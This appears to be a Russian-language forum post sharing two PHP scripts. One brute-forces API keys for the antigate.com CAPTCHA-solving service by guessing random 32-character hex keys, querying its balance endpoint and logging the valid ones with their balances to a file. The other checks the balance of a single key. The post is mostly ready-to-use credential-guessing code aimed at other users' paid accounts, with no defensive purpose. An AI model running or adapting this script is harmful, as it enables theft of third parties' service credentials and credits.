Скрипт для брута key"s antigate.com
Код:
center><form method="POST">
Количество попыток:<input name="count" type="text" value="10"><br>
Файл для гудов:<input name="file" type="text" value="good.txt"><br>
<input type="submit" value="check"><br>
</form></center>
<?php
set_time_limit(0);
function add($path,$page_body)
{
$file=fopen($path,"a+");
fputs($file,$page_body);
fclose($file);
}
function gentext($count)
{
$simbols = array("1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f");//символы из которых будет генерироваться кей
for($i=0;$i<$count;$i++)
{
$text .= $simbols[mt_rand(0,count($simbols)-1)];
}
return($text);
}
$goodfile = $_POST['file'];//файл для гудов
$count = $_POST['count'];//количество попыток для брута
if(!$goodfile||!$count)
{
echo 'Введите все даные';
exit;
}
for($i=0;$i<$count;$i++)
{
$key = gentext(32);
$result = file_get_contents("http://antigate.com/res.php?key=".$key."&action=getbalance");
if(strstr($result, "ERROR")=='')
{
echo $key." - good<br>";
add($goodfile, $key.":".$result."\r\n");
}
else
{
echo $key." - bad<br>";
}
flush();
}
?>Скрипт для проверки баланса на конкретном key
Код:
<center><form method="POST">
KEY<input name="key" type="text" value=""><br>
<input type="submit" value="check"><br>
</form>
<?php
if($_POST['key']=='')exit;
echo file_get_contents("http://antigate.com/res.php?key=".$_POST['key']."&action=getbalance");
?>Для работы нужен денвер, хостинг или VertrigoServ